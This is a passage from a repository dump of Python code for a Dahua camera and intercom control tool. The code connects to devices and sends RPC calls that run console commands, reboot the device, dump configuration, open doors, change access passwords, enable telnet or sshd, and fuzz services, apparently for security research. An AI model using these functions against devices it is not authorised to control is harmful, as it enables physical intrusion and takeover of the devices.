    "content": "from utils import *\nfrom pwdmanager import PwdManager\nfrom dahua import DahuaFunctions\n\n\nclass DahuaConnect(object):\n    def __init__(self):\n        super(DahuaConnect, self).__init__()\n\n        self.dh = None\n        self.dhConsole = {}\n        self.dhConsoleNo = 0\n\n        self.udp_server = None\n        self.tcp_server = None\n        self.dargs = None\n\n    def restart_connection(self, host):\n        \"\"\" Handle restart of connections, trying every 30sec for 10 times, if no success, stop trying \"\"\"\n        log.info('Scheduling reconnect to {}'.format(host))\n\n        dh_data = PwdManager().find_host(host)\n        times = 0\n\n        while True:\n            time.sleep(30)\n            try:\n                if not self.connect_rhost(\n                        rhost=dh_data.get('host'),\n                        rport=dh_data.get('port'),\n                        proto=dh_data.get('proto'),\n                        username=dh_data.get('username'),\n                        password=None,\n                        events=dh_data.get('events'),\n                        ssl=self.dargs.ssl,\n                        relay_host=dh_data.get('relay'),\n                        logon=dh_data.get('logon'),\n                        timeout=5):\n                    print('[restart_connection] ({})'.format(times))\n                    times += 1\n                else:\n                    return True\n            # except Exception:\n            except AttributeError:\n                log.failure('[restart_connection] ({})'.format(host))\n                pass\n\n            if times == 10:\n                log.failure('See you in valhalla {}'.format(host))\n                return False\n\n    def connect_rhost(\n            self, rhost=None, rport=0, proto=None, username=None, password=None, events=None,\n            ssl=None, relay_host=None, logon=None, timeout=0):\n        \"\"\" Handling connection(s) to remote device \"\"\"\n\n        \"\"\" Check if RPORT is valid \"\"\"\n        if not check_port(rport):\n            log.failure(\"Invalid RPORT - Choose between 1 and 65535\")\n            return False\n\n        \"\"\" Check if RHOST is valid IP or FQDN, get IP back \"\"\"\n        if not check_host(rhost):\n            return False\n\n        for session in self.dhConsole:\n            if self.dhConsole.get(session).get('host') == rhost:\n                log.warning('Already connected to {}'.format(rhost))\n                return False\n\n        \"\"\" Needed for get 'self.udp_server' set \"\"\"\n        time.sleep(1)\n\n        dh = DahuaFunctions(\n            rhost=rhost,\n            rport=rport,\n            proto=proto,\n            events=events,\n            ssl=ssl,\n            relay_host=relay_host,\n            timeout=timeout,\n            udp_server=self.udp_server,\n            dargs=self.dargs\n        )\n\n        try:\n            if not dh.dh_connect(username=username, password=password, logon=logon, force=self.dargs.force):\n                return False\n        except PwnlibException as e:\n            print('[connect_rhost.dh_connect()]', repr(e))\n            return False\n\n        self.dh = dh\n        if not self.dargs.test:\n            self.dhConsole.update({\n                'dh' + str(self.dhConsoleNo): {\n                    'instance': self.dh,\n                    'host': rhost,\n                    'proto': proto,\n                    'port': rport,\n                    'device': self.dh.DeviceType,\n                    'logon': logon,\n                    'relay': relay_host,\n                }\n            })\n            self.dhConsoleNo += 1\n\n        return True\n"
  },
  {
    "path": "dahua.py",
    "content": "import copy\n\nfrom Crypto.PublicKey import RSA\nfrom OpenSSL import crypto\nfrom pathlib import Path\n\n\"\"\" Local imports \"\"\"\nfrom utils import *\nfrom net import Network\n\n\nclass DahuaFunctions(Network):\n    \"\"\" Dahua instance \"\"\"\n    def __init__(\n            self, rhost=None, rport=None, proto=None, events=False, ssl=False,\n            relay_host=None, timeout=5, udp_server=True, dargs=None\n    ):\n        super(DahuaFunctions, self).__init__()\n\n        self.rhost = rhost\n        self.rport = rport\n        self.proto = proto\n        self.events = events\n        self.ssl = ssl\n        self.relay_host = relay_host\n        self.timeout = timeout\n        self.udp_server = udp_server\n        self.args = dargs\n\n        self.debug = dargs.debug\n        self.debugCalls = dargs.calls\t\t\t\t# Some internal debugging\n\n        self.fuzzServiceDB = {}\t\t\t\t# Used when fuzzing services\n\n        self.DeviceType = '(null)'\n\n        self.networkSnifferPath = None\n        self.networkSnifferID = None\n        self.dh_sniffer_nic = None\n\n        self.attach_only = []\n        self.Attach = []\n        self.fuzz_factory = []\n\n    #\n    # Send command to remote console, if not attached just ignore sending\n    #\n    def run_cmd(self, msg):\n\n        query_args = {\n            \"SID\": self.instance_service('console', pull='sid'),\n            \"method\": \"console.runCmd\",\n            \"params\": {\n                \"command\": msg,\n            },\n            \"object\": self.instance_service('console', pull='object'),\n        }\n        if self.console_attach or self.args.force:\n            dh_data = self.p2p(query_args)\n            if dh_data is not None:\n                try:\n                    dh_data = json.loads(dh_data)\n                except (json.decoder.JSONDecodeError, AttributeError) as e:\n                    log.failure('[runCmd]: {}'.format(repr(e)))\n                    print(dh_data)\n                    return False\n\n                if not dh_data.get('result'):\n                    return False\n                return True\n\n    #\n    # List and caches service(s)\n    #\n    def list_service(self, msg, fuzz=False):\n\n        cmd = msg.split()\n        service = None\n\n        usage = {\n            \"\": \"(dump all remote services)\",\n            \"<service>\": \"(dump methods for <service>)\",\n            \"all\": \"(dump all remote services methods)\",\n            \"help\": \"[<service>|all] (\\\"system\\\" looks like only have builtin help)\",\n            \"[<service>|<all>]\": \"[save <filename>] (Save JSON to <filename>)\",\n        }\n        if not len(cmd) == 1:\n            if cmd[1] == '-h':\n                log.info('{}'.format(help_all(msg=msg, usage=usage)))\n                return True\n\n        if len(cmd) == 3 and cmd[1] == 'help':\n            self.help_service(cmd[2])\n            return\n\n        if not self.RemoteServicesCache:\n            self.check_for_service('dump')\n            if not self.RemoteServicesCache:\n                log.failure('[listService] EZIP perhaps?')\n                return False\n\n        if self.RemoteServicesCache.get('result'):\n            if not self.args.dump:\n                service = log.progress('Services')\n                service.status(\"Start\")\n            tmp = {}\n            cache = {}\n\n            for count in range(0, len(self.RemoteServicesCache.get('params').get('service'))):\n                if len(cmd) == 1:\n                    print(self.RemoteServicesCache.get('params').get('service')[count])\n                elif len(cmd) == 2 or len(cmd) == 4:\n\n                    query_tmp = {\n                        \"method\": \"\",\n                        \"params\": None,\n                    }\n                    query_tmp.update(\n                        {'method': cmd[1] + '.listMethod' if not cmd[1] == 'all' else\n                            self.RemoteServicesCache.get('params').get('service')[count] + '.listMethod'}\n                    )\n\n                    if not self.RemoteMethodsCache.get(\n                            cmd[1] if not cmd[1] == 'all'\n                            else self.RemoteServicesCache.get('params').get('service')[count]):\n                        \"\"\" 'system.listMethod' not working with multicall \"\"\"\n                        if query_tmp.get('method') == 'system.listMethod':\n                            dh_data = self.send_call(query_tmp)\n                            tmp.update({query_tmp.get('method').split('.')[0]: dh_data})\n\n                            dh_data.pop('result')\n                            dh_data.pop('id')\n                            \"\"\"SessionID bug: 'method': 'snapManager.listMethod'\"\"\"\n                            dh_data.pop('session') if dh_data.get('session') else log.failure(\n                                \"[listService] SessionID BUG ({})\".format(query_tmp.get('method').split('.')[0]))\n                            self.RemoteMethodsCache.update({query_tmp.get('method').split('.')[0]: dh_data})\n\n                            if not cmd[1] == 'all':\n                                break\n                            continue\n                        else:\n                            self.send_call(query_tmp, multicall=True)\n                    else:\n                        tmp.update({\n                            cmd[1] if not cmd[1] == 'all'\n                            else self.RemoteServicesCache.get('params').get('service')[count]:\n                                self.RemoteMethodsCache.get(\n                                    cmd[1] if not cmd[1] == 'all'\n                                    else self.RemoteServicesCache.get('params').get('service')[count])\n                        })\n\n                    if not self.args.dump:\n                        service.status('{} of {}'.format(\n                            count+1, len(self.RemoteServicesCache.get('params').get('service'))))\n\n                    if not cmd[1] == 'all':\n                        break\n\n            dh_data = self.send_call(None, multicall=True, multicallsend=True)\n            # print('[list_service]', dh_data)\n\n            if dh_data is None:\n                cache = tmp\n            elif dh_data is not None:\n                for method_name in copy.deepcopy(dh_data):\n                    service.status(method_name)\n\n                    if not dh_data.get(method_name).get('result'):\n                        log.failure(\"[listService] Failure to fetch: {}\".format(method_name.split('.')[0]))\n                        continue\n                    dh_data.get(method_name).pop('result')\n                    dh_data.get(method_name).pop('id')\n                    \"\"\"SessionID bug: 'method': 'snapManager.listMethod'\"\"\"\n                    if dh_data.get(method_name).get('session'):\n                        dh_data.get(method_name).pop('session')\n                    \"\"\"if dh_data.get(method_name).get('session') else log.failure(\n                        \"[listService] SessionID BUG ({})\".format(method_name.split('.')[0]))\"\"\"\n\n                    cache.update({method_name.split('.')[0]: dh_data.get(method_name)})\n                    self.RemoteMethodsCache.update(cache)\n                if len(tmp):\n                    cache.update(tmp)\n\n            if not self.args.dump:\n                service.success('Done')\n            if fuzz:\n                return self.RemoteMethodsCache\n            if len(cmd) == 4 and cmd[2] == 'save':\n                if len(cache):\n                    return self.save_to_file(file_name=cmd[3], dh_data=cache)\n                log.failure('[listService] (save) Empty')\n            if not len(cmd) == 1:\n                if len(cache):\n                    print(json.dumps(cache, indent=4))\n                else:\n                    log.failure('[listService] (cache) Empty')\n\n            return True\n        else:\n            log.failure(\"[listService] {}\".format(self.RemoteServicesCache))\n            return False\n\n    #\n    # Used by 'list_service()' and 'config_members()' to save result to file\n    #\n    def save_to_file(self, file_name, dh_data):\n\n        if not self.args.force:\n            path = Path(file_name)\n            if path.exists():\n                log.failure(\"[saveToFile] File {} exist (force with -f at startup)\".format(file_name))\n                return False\n        try:\n            with open(file_name, 'w') as fd:\n                fd.write(json.dumps(dh_data))\n            log.success(\"[saveToFile] Saved to: {}\".format(file_name))\n        except IOError as e:\n            log.failure(\"[saveToFile] Save {} fail: {}\".format(file_name, e))\n            return False\n        return True\n\n    def help_service(self, msg):\n        \"\"\" In principal useless function, as the only API help seems to cover 'system' only \"\"\"\n        cmd = msg.split()\n\n        dh_services = self.list_service(msg='service ' + cmd[0], fuzz=True)\n\n        for key in dh_services.keys():\n            for method in dh_services.get(key).get('params').get('method'):\n\n                query_args = {\n                    \"method\": \"system.methodHelp\",\n                    \"params\": {\n                        \"method_name\": method,\n                    },\n                }\n                dh_data = self.send_call(query_args)\n                query_args = {\n                    \"method\": \"system.methodSignature\",\n                    \"params\": {\n                        \"method_name\": method,\n                    },\n                }\n                dh_data2 = self.send_call(query_args)\n\n                if not dh_data and not dh_data2:\n                    continue\n\n                log.info(\"Method: {:30}Params: {:20}Description: {}\".format(\n                    method,\n                    dh_data2.get('params').get('signature', '(null)'),\n                    dh_data.get('params').get('description', '(null)')\n                ))\n\n    def reboot(self, delay=1):\n        \"\"\" 'Hard reboot' of remote device \"\"\"\n        query_args = {\n            \"method\": \"magicBox.reboot\",\n            \"params\": {\n                \"delay\": delay\n            },\n        }\n\n        dh_data = self.send_call(query_args)\n        if dh_data.get('result'):\n            log.success(\"Trying to force reboot\")\n        else:\n            log.warning(\"Trying to force reboot\")\n        self.socket_event.set()\n        self.logout()\n\n    def logout(self):\n        \"\"\" Try graceful logout \"\"\"\n\n        if not self.remote.connected():\n            log.failure('[logout] Not connected, cannot exit clean')\n            return False\n        \"\"\" Will exit the instance by check daemon thread \"\"\"\n        if self.terminate and self.remote.connected():\n            self.remote.close()\n            if self.relay:\n                self.relay.close()\n            return False\n\n        \"\"\"keepAlive failed or terminate\n        Clean up before we quit, if needed (and can do so)\n        \"\"\"\n        if not self.event.is_set():\n            self.cleanup()\n\n        \"\"\" Stop console (and possible others) \"\"\"\n        self.instance_service(clean=True)\n\n        query_args = {\n            \"method\": \"global.logout\",\n            \"params\": None,\n        }\n\n        dh_data = self.send_call(query_args)\n        if not dh_data:\n            log.failure(\"[logout] global.logout: {}\".format(dh_data))\n            self.remote.close()\n            if self.relay:\n                self.relay.close()\n            return False\n        if dh_data.get('result'):\n            log.success(\"Logout\")\n            self.remote.close()\n            if self.relay:\n                self.relay.close()\n        return True\n\n    def config_members(self, msg):\n\n        cmd = msg.split()\n\n        usage = {\n            \"members\": \"(show config members)\",\n            \"all\": \"(dump all remote config)\",\n            \"<member>\": \"(dump config for <member>)\",\n            \"[<member>|<all>]\": \"[save <filename>] (Save JSON to <filename>)\",\n            \"\": \"(Use 'ceconfig' in Console to set/get)\",\n        }\n        if len(cmd) == 1 or cmd[1] == '-h':\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return False\n\n        if cmd[1] == 'members':\n            query_args = {\n                \"method\": \"configManager.getMemberNames\",\n                \"params\": {\n                    \"name\": \"\",\n                },\n            }\n        else:\n            if cmd[1] == 'all':\n                cmd[1] = 'All'\n            query_args = {\n                \"method\": \"configManager.getConfig\",\n                \"params\": {\n                    \"name\": cmd[1],\n                },\n            }\n        dh_data = self.send_call(query_args, errorcodes=True)\n        if not dh_data or not dh_data.get('result'):\n            log.failure('[config_members] Error: {}'.format(dh_data.get('error') if dh_data else False))\n            return False\n\n        dh_data.pop('id')\n        dh_data.pop('session')\n        dh_data.pop('result')\n\n        if len(cmd) == 4 and cmd[2] == 'save':\n            return self.save_to_file(file_name=cmd[3], dh_data=dh_data)\n\n        print(json.dumps(dh_data, indent=4))\n\n        return\n\n    def open_door(self, msg):\n        \"\"\" VTO specific functions (not complete) \"\"\"\n\n        cmd = msg.split()\n\n        usage = {\n            \"<n>\": {\n                \"open\": \"(open door <n>)\",\n                \"close\": \"(close door <n>)\",\n                \"status\": \"(status door <n>)\",\n                \"finger\": \"(<Undefined>)\",\n                \"password\": \"(<Undefined>)\",\n                \"lift\": \"(<Undefined> Not working)\",\n                \"face\": \"(<Undefined> Not working)\",\n            }\n        }\n        if len(cmd) != 3 or cmd[1] == '-h':\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return True\n\n        method_name = 'accessControl'\n\n        try:\n            door = int(cmd[1])\n        except ValueError:\n            log.failure(\"[open_door] Invalid door number {}\".format(cmd[1]))\n            self.instance_service(method_name, stop=True)\n            return False\n\n        self.instance_service(method_name, params={\"channel\": door}, start=True)\n        object_id = self.instance_service(method_name, pull='object')\n        if not object_id:\n            return False\n\n        if cmd[2] == 'open':\n            query_args = {\n                \"method\": \"accessControl.openDoor\",\n                \"params\": {\n                    \"DoorIndex\": door,\n                    \"ShortNumber\": \"9901#0\",\n                    \"Type\": \"Remote\",\n                    \"OpenDoorType\": \"Remote\",\n                    # \"OpenDoorType\": \"Dahua\",\n                    # \"OpenDoorType\": \"Local\",\n                    \"UserID\": \"\",\n                },\n                \"object\": object_id,\n            }\n\n            dh_data = self.send_call(query_args)\n            print(query_args)\n            print(dh_data)\n            if not dh_data:\n                return\n\n            log.info(\"door: {} {}\".format(door, \"Success\" if dh_data.get('result') else \"Failure\"))\n\n        elif cmd[2] == 'close':\n            query_args = {\n                \"method\": \"accessControl.closeDoor\",  # {\"id\":21,\"result\":true,\"session\":2147483452}\n                \"params\": {\n                    # \"Type\": \"Remote\",\n                    # \"UserID\":\"\",\n                },\n                \"object\": object_id,\n            }\n\n            # print(query_args)\n            dh_data = self.send_call(query_args)\n            print(query_args)\n            print(dh_data)\n\n        elif cmd[2] == 'status':  # Seems always to return \"Status Close\"\n            \"\"\"{\"id\":8,\"params\":{\"Info\":{\"status\":\"Close\"}},\"result\":true,\"session\":2147483499}\"\"\"\n            query_args = {\n                \"method\": \"accessControl.getDoorStatus\",\n                \"params\": {\n                    \"DoorState\": door,\n                    # \"ShortNumber\": \"9901#0\",\n                    # \"Type\": \"Remote\",\n                },\n                \"object\": object_id,\n            }\n            dh_data = self.send_call(query_args)\n            print(query_args)\n            print(dh_data)\n\n        elif cmd[2] == 'finger':\n            query_args = {\n                \"method\": \"accessControl.captureFingerprint\",  # working\n                \"params\": {\n                },\n                \"object\": object_id,\n            }\n            dh_data = self.send_call(query_args)\n            print(query_args)\n            print(dh_data)\n\n        elif cmd[2] == 'lift':\n            query_args = {\n                \"method\": \"accessControl.callLift\",  # Not working\n                \"params\": {\n                    \"Src\": 1,\n                    \"DestFloor\": 3,\n                    \"CallLiftCmd\": \"\",\n                    \"CallLiftAction\": \"\",\n                },\n                \"object\": object_id,\n            }\n            dh_data = self.send_call(query_args)\n            print(query_args)\n            print(dh_data)\n\n        elif cmd[2] == 'password':\n            query_args = {\n                \"method\": \"accessControl.modifyPassword\",  # working\n                \"params\": {\n                    \"type\": \"\",\n                    \"user\": \"\",\n                    \"oldPassword\": \"\",\n                    \"newPassword\": \"\",\n                },\n                \"object\": object_id,\n            }\n            dh_data = self.send_call(query_args)\n            print(query_args)\n            print(dh_data)\n\n        elif cmd[2] == 'face':\n            query_args = {\n                \"method\": \"accessControl.openDoorFace\",  # Not working\n                \"params\": {\n                    \"Status\": \"\",\n                    \"MatchInfo\": \"\",\n                    \"ImageInfo\": \"\",\n                },\n                \"object\": object_id,\n            }\n            dh_data = self.send_call(query_args)\n            print(query_args)\n            print(dh_data)\n\n            self.instance_service(method_name, stop=True)\n\n        return\n\n    def telnetd_sshd(self, msg):\n\n        cmd = msg.split()\n        service = None\n\n        if cmd[0] == 'telnet':\n            service = 'Telnet'\n        elif cmd[0] == 'sshd':\n            service = 'SSHD'\n\n        usage = {\n            \"1\": \"(enable)\",\n            \"0\": \"(disable)\",\n        }\n        if len(cmd) == 1 or cmd[1] == '-h':\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n\n            return True\n\n        if cmd[1] == '1':\n            enable = True\n        elif cmd[1] == '0':\n            enable = False\n        else:\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n            return False\n\n        query_args = {\n            \"method\": \"configManager.getConfig\",\n            \"params\": {\n                \"name\": service,\n            },\n        }\n\n        dh_data = self.send_call(query_args)\n        if not dh_data:\n            return\n\n        if dh_data.get('result'):\n            if dh_data['params']['table']['Enable'] == enable:\n                log.failure(\"{} already: {}\".format(cmd[0], \"Enabled\" if enable else \"Disabled\"))\n                return\n        else:\n            log.failure(\"Failure: {}\".format(dh_data))\n            return\n\n        dh_data['method'] = \"configManager.setConfig\"\n        dh_data['params']['table']['Enable'] = enable\n        dh_data['params']['name'] = service\n        dh_data['id'] = self.ID\n        dh_data.pop('result')\n\n        dh_data = self.send_call(dh_data, errorcodes=True)\n\n        if dh_data.get('result'):\n            log.success(\"{}: {}\".format(cmd[0], \"Enabled\" if enable else \"Disabled\"))\n        else:\n            log.failure(\"Failure: {}\".format(dh_data))\n            return\n\n    @staticmethod\n    def method_banned(msg):\n\n        banned = [\n            \"system.listService\",\n            \"magicBox.exit\",\n            \"magicBox.restart\",\n            \"magicBox.shutdown\",\n            \"magicBox.reboot\",\n            \"magicBox.resetSystem\",\n            \"magicBox.config\"\n            \"global.login\",\n            \"global.logout\",\n            \"global.keepAlive\",\n            \"global.setCurrentTime\",\n            \"DockUser.addUser\",\n            \"DockUser.modifyPassword\",\n            \"configManager.detach\",\n            \"configManager.exportPackConfig\",  # Exporting config in encrypted TGZ\n            \"configManager.secGetDefault\",\n            \"userManager.deleteGroup\",\n            \"userManager.setDefault\",  # will erase all users\n            \"PhotoStation.savePhotoDesign\",\n            \"configManager.getMemberNames\",\n            \"PerformanceMonitoring.factory.instance\",  # generates client.notifyPerformanceInfo() callback\n            \"PerformanceMonitoring.attach\"  # generates client.notifyPerformanceInfo() callback\n        ]\n\n        try:\n            banned.index(msg)\n            dh_data = help_msg('Banned Match')\n            dh_data += '{}\\n'.format(msg)\n            log.info(dh_data)\n            # print('Banned Match: {}'.format(msg))\n            return True\n        except ValueError as e:\n            print(repr(e))\n            return False\n\n    def fuzz_service(self, msg):\n        \"\"\" Under development \"\"\"\n\n        cmd = msg.split()\n        params = None\n\n        usage = {\n            \"check\": {\n                \"<service>\": \"(method for <service>)\",\n                \"all\": \"(all remote services methods)\",\n            },\n            \"factory\": \"(fuzz factory)\"\n        }\n        if not len(cmd) >= 2 or cmd[1] == '-h':\n            log.info('{}'.format(help_all(msg=msg, usage=usage)))\n\n            return True\n\n        fuzz_result = {}\n        \"\"\"\n        Code = [\n            268894211,  # Request invalid param!\n            268959743,  # Unknown error! error code was not set in service!\n            268632080,  # pthread error\n            285278247,  # ? - with magicBox.resetSystem\n            268894208,  # Request parse error!\n            268894212,  # Server internal error!\n            268894209,  # get component pointer failed or invalid request! (.object needed!)\n            ]\n        \"\"\"\n        #\n        # TODO: Can be more than one in one call\n        #\n        dparams = [\n            \"\",\n            \"channel\",\t\t# 0 should always be availible\n            \"pointer\",\n            \"name\",\n            \"codes\",\n            \"service\",\n            \"group\",\n            \"stream\",\n            \"uuid\",\n            \"UUID\",\n            \"object\",\n            \"interval\",  # PerformanceMonitoring.attach\n            \"composite\",\n            \"path\",\n            \"DeviceID\",\n            \"points\",\n            \"Channel\",\n        ]\n\n        attach_options = [\n            # {\"type\":\"FormatPatition\"},\n            \"Network\",  # configMember\n            [\"All\"],  # eventManager\n            0,  # for channel.. etc\n            1,\n            # \"DeviceID1\",\n            \"none\",\n            # \"xxxxxx\",\n            \"System_CONFIG_NETCAMERA_INFO_0\",  # uuid\n            \"System_CONFIG_NETCAMERA_INFO_\",  # uuid\n            [\"System_CONFIG_NETCAMERA_INFO_0\"],  # uuid\n            [\"System_CONFIG_NETCAMERA_INFO_\"],  # uuid\n            \"/mnt/sd\",\n            \"/dev/mmc0\",\n            \"/\",\n\n            # [\"Record FTP\"],\n            # [\"Image FTP\"],\n            # [\"FTP1\"],\n            # [\"ISCSI1\"],\n            # [\"NFS1\"],\n            # [\"SMB1\"],\n            # [\"SFTP1\"],\n            # [\"SFTP\"],\n            # [\"StorageGroup\"],\n            # [\"NAS\"],\n            # [\"Remote\"],\n            # [\"ReadWrite\"],\n        ]\n\n        try:  # [Main TRY]\n\n            if len(cmd) == 3 and cmd[1] == 'check':\n\n                check = log.progress('Check')\n                check.status('Start')\n\n                dh_services = self.list_service(msg='service ' + cmd[2], fuzz=True)\n\n                for key in dh_services.keys():\n                    check.status(key)\n\n                    method_name = dh_services.get(key).get('params').get('method')\n                    self.fuzzServiceDB.update({key: {\n                    }})\n\n                    try:\n                        method_name.index(key + '.factory.instance')\n                        self.fuzzServiceDB.get(key).update({\"factory\": True})\n\n                        method_name.index(key + '.attach')\n                        self.fuzzServiceDB.get(key).update({\"attach\": True})\n\n                    except ValueError as e:\n\n                        _error = str(e).split(\"'\")[1]\n                        try:\n                            if _error == key + '.factory.instance':\n                                self.fuzzServiceDB.get(key).update({\"factory\": False})\n                            elif _error == key + '.attach':\n                                self.fuzzServiceDB.get(key).update({\"attach\": False})\n\n                            method_name.index(key + '.attach')\n                            self.fuzzServiceDB.get(key).update({\"attach\": True})\n\n                        except ValueError:\n                            self.fuzzServiceDB.get(key).update({\"attach\": False})\n                            pass\n\n                self.fuzz_factory = []\n                self.Attach = []\n                self.attach_only = []\n\n                for key in dh_services.keys():\n                    if not self.fuzzServiceDB.get(key).get('factory') and not self.fuzzServiceDB.get(key).get('attach'):\n                        if self.fuzzServiceDB.get(key):\n                            self.fuzzServiceDB.pop(key)\n                        continue\n                    elif self.method_banned(key + '.factory.instance'):\n                        if self.fuzzServiceDB.get(key):\n                            self.fuzzServiceDB.pop(key)\n                        continue\n                    elif self.method_banned(key + '.attach'):\n                        if self.fuzzServiceDB.get(key):\n                            self.fuzzServiceDB.pop(key)\n                        continue\n\n                    if self.fuzzServiceDB.get(key).get('factory'):\n                        self.fuzz_factory.append(key)\n                    if self.fuzzServiceDB.get(key).get('factory') and self.fuzzServiceDB.get(key).get('attach'):\n                        self.Attach.append(key)\n                    if not self.fuzzServiceDB.get(key).get('factory') and self.fuzzServiceDB.get(key).get('attach'):\n                        self.attach_only.append(key)\n\n                check.success(\n                    'Factory: {}, Attach: {}, attach_only: {}\\n'.format(\n                        len(self.fuzz_factory), len(self.Attach), len(self.attach_only)))\n\n                dh_data = '{}'.format(help_msg('Summary'))\n                dh_data += '{}{}\\n'.format(help_msg('Factory'), ', '.join(self.fuzz_factory))\n                dh_data += '{}{}\\n'.format(help_msg('Attach'), ', '.join(self.Attach))\n                dh_data += '{}{}\\n'.format(help_msg('attach_only'), ', '.join(self.attach_only))\n                log.success(dh_data)\n                return\n\n            elif len(cmd) >= 2 and cmd[1] == 'factory':\n\n                try:\n                    if not len(self.fuzz_factory):\n                        log.failure('Factory is Empty')\n                        return False\n                except AttributeError:\n                    log.failure('Firstly run {} check'.format(cmd[0]))\n                    return False\n\n                fuzz_factory = []\n                if len(cmd) == 2:\n                    fuzz_factory = self.fuzz_factory\n                elif len(cmd) == 3:\n                    if cmd[2] in self.fuzz_factory:\n                        fuzz_factory.append(cmd[2])\n                    else:\n                        log.failure('\"{}\" do not exist in factory'.format(cmd[2]))\n                        return False\n\n                for method_name in fuzz_factory:\n                    fuzz = log.progress(method_name)\n\n                    if method_name in self.Attach:\n\n                        object_id = self.instance_service(method_name, pull='object')\n                        if not object_id:\n                            fuzz.status(color('Working...', YELLOW))\n                            self.instance_service(method_name, dattach=True, start=True, fuzz=True)\n                            object_id = self.instance_service(method_name, pull='object')\n\n                        if object_id:\n                            fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN))\n                            fuzz_result.update(\n                                {method_name: {\n                                    \"available\": True, \"params\": self.instance_service(method_name, pull='params'),\n                                    \"attach_params\": self.instance_service(method_name, pull='attach_params')\n                                }})\n\n                        if not object_id:\n                            for key in dparams:\n                                for doptions in attach_options:\n                                    params = {key: doptions}\n                                    self.instance_service(\n                                        method_name, dattach=True, params=params, attach_params=params,\n                                        start=True, fuzz=True, multicall=True, multicallsend=False)\n\n                            self.instance_service(\n                                method_name, dattach=True, attach_params=params, start=True, fuzz=True,\n                                multicall=True, multicallsend=True)\n                            object_id = self.instance_service(method_name, pull='object')\n\n                            if object_id:\n                                fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN))\n                                fuzz_result.update(\n                                    {method_name: {\n                                        \"available\": True, \"params\": self.instance_service(method_name, pull='params'),\n                                        \"attach_params\": self.instance_service(method_name, pull='attach_params')\n                                    }})\n                                continue\n\n                            if not object_id:\n                                fuzz_error = self.fuzzDB.get(method_name).get('sid').get('error')\n                                fuzz.failure(color(json.dumps(fuzz_error), RED))\n                                fuzz_result.update(\n                                    {method_name: {\n                                        \"available\": False, \"code\": fuzz_error.get('code'),\n                                        \"message\": fuzz_error.get('message')}}\n                                )\n\n                    else:\n                        object_id = self.instance_service(method_name, pull='object')\n                        if not object_id:\n                            fuzz.status(color('Working...', YELLOW))\n                            self.instance_service(method_name, dattach=False, start=True, fuzz=True)\n                            object_id = self.instance_service(method_name, pull='object')\n\n                        if object_id:\n                            fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN))\n                            fuzz_result.update(\n                                {method_name: {\n                                    \"available\": True, \"params\": self.instance_service(method_name, pull='params'),\n                                    \"attach_params\": self.instance_service(method_name, pull='attach_params')\n                                }})\n\n                        if not object_id:\n                            for key in dparams:\n                                for doptions in attach_options:\n                                    params = {key: doptions}\n                                    self.instance_service(\n                                        method_name, dattach=False, params=params, start=True, fuzz=True,\n                                        multicall=True, multicallsend=False)\n\n                            self.instance_service(\n                                method_name, dattach=False, start=True, fuzz=True, multicall=True, multicallsend=True)\n\n                            object_id = self.instance_service(method_name, pull='object')\n                            if object_id:\n                                fuzz.success(color(str(self.instance_service(method_name, pull='object')), GREEN))\n                                fuzz_result.update(\n                                    {method_name: {\n                                        \"available\": True, \"params\": self.instance_service(method_name, pull='params'),\n                                        \"attach_params\": self.instance_service(method_name, pull='attach_params')\n                                    }})\n                                continue\n\n                            if not object_id:\n                                fuzz_error = self.fuzzDB.get(method_name).get('sid').get('error')\n                                fuzz.failure(color(json.dumps(fuzz_error), RED))\n                                fuzz_result.update(\n                                    {method_name: {\n                                        \"available\": False, \"code\": fuzz_error.get('code'),\n                                        \"message\": fuzz_error.get('message')}}\n                                )\n\n                self.instance_service(method_name=\"\", list_all=True)\n                # print(json.dumps(fuzz_result,indent=4))\n                # print(json.dumps(self.fuzzDB,indent=4))\n                # self.fuzzServiceDB = {} # Reset\n                return\n\n            else:\n                log.failure('No such command \"{}\"'.format(msg))\n\n        except KeyboardInterrupt:  # [Main TRY]\n            return False\n\n        return\n\n    def dev_storage(self):\n\n        query_args = {\n            \"method\": \"storage.getDeviceAllInfo\",\n            \"params\": None,\n        }\n\n        dh_data = self.send_call(query_args)\n        if not dh_data:\n            log.failure(\"\\033[92m[\\033[91mStorage: Device not found\\033[92m]\\033[0m\")\n            return\n\n        if dh_data.get('result'):\n            device_name = dh_data.get('params').get('info')[0].get('Name')\n\n            method_name = 'devStorage'\n\n            self.instance_service(method_name, params={\"name\": device_name}, start=True)\n            object_id = self.instance_service(method_name, pull='object')\n            if not object_id:\n                return False\n\n            query_args = {\n                \"method\": \"devStorage.getDeviceInfo\",\n                \"params\": None,\n                \"object\": object_id,\n            }\n\n            dh_data = self.send_call(query_args)\n\n            if not dh_data:\n                if dh_data.get('result'):\n                    dh_data = dh_data.get('params').get('device')  # [storage]\n                    log.success(\"\\033[92m[\\033[91mStorage: \\033[94m{}\\033[91m\\033[92m]\\033[0m\\n\".format(\n                        dh_data.get('Name', '(null)')))\n                    log.info(\"Capacity: {}, Media: {}, Bus: {}, State: {}\".format(\n                        size(dh_data.get('Capacity', '(null)')),\n                        dh_data.get('Media', '(null)'),\n                        dh_data.get('BUS', '(null)'),\n                        dh_data.get('State', '(null)'),\n                    ))\n                    log.info(\"Model: {}, SerialNo: {}, Firmware: {}\".format(\n                        dh_data.get(\n                            'Module', '(null)') if self.DeviceClass == \"NVR\" else dh_data.get('Model', '(null)'),\n                        dh_data.get(\n                            'SerialNo', '(null)')if self.DeviceClass == \"NVR\" else dh_data.get('Sn', '(null)'),\n                        dh_data.get('Firmware', '(null)'),\n                    ))\n                    for part in range(0, len(dh_data.get('Partitions'))):\n                        tmp = dh_data.get('Partitions')[part]\n                        log.info(\"{}, FileSystem: {}, Size: {}, Free: {}\".format(\n                            tmp.get('Name', '(null)'),\n                            tmp.get('FileSystem', '(null)'),\n                            size(tmp.get('Total', 0), si=True),\n                            size(tmp.get('Remain', 0), si=True),\n                        ))\n\n            self.instance_service(method_name, stop=True)\n\n    def get_encrypt_info(self):\n\n        query_args = {\n            \"method\": \"Security.getEncryptInfo\",\n            \"params\": None,\n        }\n\n        dh_data = self.send_call(query_args)\n\n        if not dh_data:\n            log.failure(\"\\033[92m[\\033[91mEncrypt Info: Fail\\033[92m]\\033[0m\")\n            return\n\n        if dh_data.get('result'):\n            pub = 